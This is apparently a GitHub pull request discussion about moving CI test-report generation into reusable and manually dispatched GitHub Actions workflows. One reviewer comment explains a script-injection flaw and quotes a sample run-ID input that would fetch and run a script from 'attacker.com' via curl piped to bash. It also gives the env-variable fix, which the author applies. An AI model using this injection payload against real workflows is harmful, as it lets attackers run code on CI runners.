[CI] Extract reports into reusable workflow and add manual reports di…

[vlad-penkin]

…spatch

• Extract the inline reports job from build-test-reusable.yml into a new reports-reusable.yml workflow with 6 pre-baked stats views (testsuite/test x name/skipped/time sorting)
• Add optional comparison support (compare_run_id) for diffing against historical CI runs
• Add reports-manual.yml for on-demand report generation from any GH Actions run ID, with optional cross-run comparison

[Copilot]

Pull request overview

This PR refactors CI reporting by extracting the report-generation logic into a dedicated reusable workflow, and adds a manual workflow to generate (and optionally compare) reports for any GitHub Actions run ID.

Changes:

• Added a new reusable workflow (reports-reusable.yml) to generate pass-rate and multiple pre-baked stats views, plus optional cross-run comparisons.
• Added a manual workflow_dispatch entrypoint (reports-manual.yml) to download artifacts for an arbitrary run ID and invoke the reusable reports workflow.
• Updated build-test-reusable.yml to call the new reusable reports workflow instead of running the reports steps inline.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 3 comments.

File	Description
.github/workflows/reports-reusable.yml	New reusable reports workflow with stats generation, optional comparison download/compare, and artifact uploads.
.github/workflows/reports-manual.yml	New manual workflow that downloads reports for a specified run ID and triggers the reusable reporting workflow.
.github/workflows/build-test-reusable.yml	Replaces the inline reports job with a call to reports-reusable.yml.

---

You can also share your feedback on Copilot code review. Take the survey.

[gshimansky]

Can you describe the problem that you are trying to solve with this PR? There is no link to an issue here and the purpose of this change is not obvious.

[vlad-penkin]

Can you describe the problem that you are trying to solve with this PR? There is no link to an issue here and the purpose of this change is not obvious.

See linked issue for more details.

The core motivation is to remove user friction and improve dev productivity while using triton_utils package by addressing the following concerns:

• triton_utils cli is a comprehensive analytical tool but have many options and flags, people complain about it :)
• there are multiple reports people usually run - pretty prints for stats mode on the testsuite and test level sorted by default, by number of skips and by total run time, comparisons with the historical CI runs or with CI runs on different platform.

[januszjah]

There are shell-injections points, they should be removed. The issue is real, not some agent noise as it is mentioned explicitly in GH docs -> https://docs.github.com/en/actions/concepts/security/script-injections

[januszjah]

Shell injection: gh_run_id, repo, branch are interpolated directly into the run: block
${{ inputs.gh_run_id }}, ${{ inputs.repo }}, and ${{ inputs.branch }} are expanded by GitHub Actions before bash sees the script. A workflow_dispatch user with write access could enter e.g. "; curl attacker.com/pwn | bash # as a run ID and it would execute.
artifact_pattern was correctly moved to env: (line 69) — apply the same fix here:

env:
  ARTIFACT_PATTERN: ${{ inputs.artifact_pattern }}
  GH_RUN_ID: ${{ inputs.gh_run_id }}
  REPO: ${{ inputs.repo }}
  BRANCH: ${{ inputs.branch }}
run: |
  set -euo pipefail
  args=(
    download
    --run "$GH_RUN_ID"
    -R "$REPO"
    -B "$BRANCH"
    -D reports
  )
Same pattern applies to two other sites:
- reports-reusable.yml:110–115 — ${{ inputs.reports_dir }} (×4 interpolations in shell)
- reports-reusable.yml:164–166 — ${{ inputs.compare_run_id }}, compare_repo, compare_branch
These are fed from this workflow's with: block (line 97–99), so the injection chain is: workflow_dispatch input → with: → reusable workflow ${{ inputs.* }} → shell.

[vlad-penkin]

Fixed — moved all ${{ inputs.* }} interpolations to env: blocks across all 3 sites:

• reports-manual.yml: gh_run_id, repo, branch
• reports-reusable.yml: reports_dir (4 interpolations)
• reports-reusable.yml: compare_run_id, compare_repo, compare_branch

artifact_pattern was already safe (line 69). Thanks for catching this.

[januszjah]

This pending report check looks like some GHA bug, when you were modifying these files it registered new Reports workflow but later it was removed and now it's not even showing in 'All' actions as queued, it's just some dangling request registered only in this PR, runners don't even know there is something queued.

[Copilot]

Pull request overview

Refactors CI report generation into a reusable workflow and adds a manually triggered workflow to generate (and optionally compare) test report summaries from arbitrary GitHub Actions run IDs.

Changes:

• Added a new reusable workflow (reports-reusable.yml) that generates multiple pre-baked triton-utils stats views, pass rate JSON, and optional cross-run comparisons.
• Added a manual workflow (reports-manual.yml) to download reports for any run ID and invoke the reusable reports workflow.
• Updated build-test-reusable.yml to call the new reusable reports workflow instead of running inline report steps.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated no comments.

File	Description
.github/workflows/reports-reusable.yml	New reusable workflow for downloading reports, generating stats/pass-rate outputs, optional comparisons, and uploading derived artifacts.
.github/workflows/reports-manual.yml	New workflow_dispatch entrypoint for on-demand report generation from a provided run ID (with optional comparison).
.github/workflows/build-test-reusable.yml	Replaces the inline “reports” job steps with a reusable-workflow invocation.

[januszjah]

Ok, just minor issue in secondary functionality.

[januszjah]

Note: github.token is scoped to the current repository only — cross-repo artifact downloads will 403. This works fine with the default (intel/intel-xpu-backend-for-triton) but if a different repo is needed, a PAT with actions:read on the target repo must be provided.